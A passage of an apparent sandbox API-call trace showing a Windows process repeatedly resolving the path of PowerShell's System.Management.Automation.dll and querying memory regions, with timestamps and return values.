nBufferLength=0x105, lpBuffer=0x14dde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.668] VirtualQuery (in: lpAddress=0x14d380, lpBuffer=0x14e380, dwLength=0x1c | out: lpBuffer=0x14e380*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.668] GetLastError () returned 0x0 [0062.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.669] GetLastError () returned 0x0 [0062.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.669] GetLastError () returned 0x0 [0062.669] VirtualQuery (in: lpAddress=0x14d380, lpBuffer=0x14e380, dwLength=0x1c | out: lpBuffer=0x14e380*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.669] GetLastError () returned 0x0 [0062.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.669] GetLastError () returned 0x0 [0062.669] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.669] GetLastError () returned 0x0 [0062.670] VirtualQuery (in: lpAddress=0x14d380, lpBuffer=0x14e380, dwLength=0x1c | out: lpBuffer=0x14e380*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.670] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.670] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.672] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.672] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.672] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.672] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.672] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.673] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.673] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.673] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.674] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.674] VirtualQuery (in: lpAddress=0x14d1bc, lpBuffer=0x14e1bc, dwLength=0x1c | out: lpBuffer=0x14e1bc*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.674] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.675] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.675] VirtualQuery (in: lpAddress=0x14d318, lpBuffer=0x14e318, dwLength=0x1c | out: lpBuffer=0x14e318*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.675] VirtualQuery (in: lpAddress=0x14d354, lpBuffer=0x14e354, dwLength=0x1c | out: lpBuffer=0x14e354*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.676] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x18822867, Data2=0x40ca, Data3=0x4156, Data4=([0]=0x9c, [1]=0xb9, [2]=0x6e, [3]=0x2e, [4]=0xec, [5]=0xb1, [6]=0xde, [7]=0x82))) returned 0x0 [0062.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.676] GetLastError () returned 0x0 [0062.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.676] GetLastError () returned 0x0 [0062.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.676] GetLastError () returned 0x0 [0062.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.676] GetLastError () returned 0x0 [0062.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.676] GetLastError () returned 0x0 [0062.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.676] GetLastError () returned 0x0 [0062.676] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xa08d8bba, Data2=0x1fa5, Data3=0x498c, Data4=([0]=0x93, [1]=0x94, [2]=0x96, [3]=0xb0, [4]=0x44, [5]=0xbd, [6]=0x6, [7]=0xbe))) returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14ddd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.677] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.678] GetLastError () returned 0x0 [0062.678] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.679] GetLastError () returned 0x0 [0062.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.679] GetLastError () returned 0x0 [0062.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.679] GetLastError () returned 0x0 [0062.679] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.679] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.680] VirtualQuery (in: lpAddress=0x14cf74, lpBuffer=0x14df74, dwLength=0x1c | out: lpBuffer=0x14df74*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.680] VirtualQuery (in: lpAddress=0x14cfb0, lpBuffer=0x14dfb0, dwLength=0x1c | out: lpBuffer=0x14dfb0*(BaseAddress=0x14c000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d968, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d918, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.680] GetLastError () returned 0x0 [0062.681] GetFullPathNameW (in: 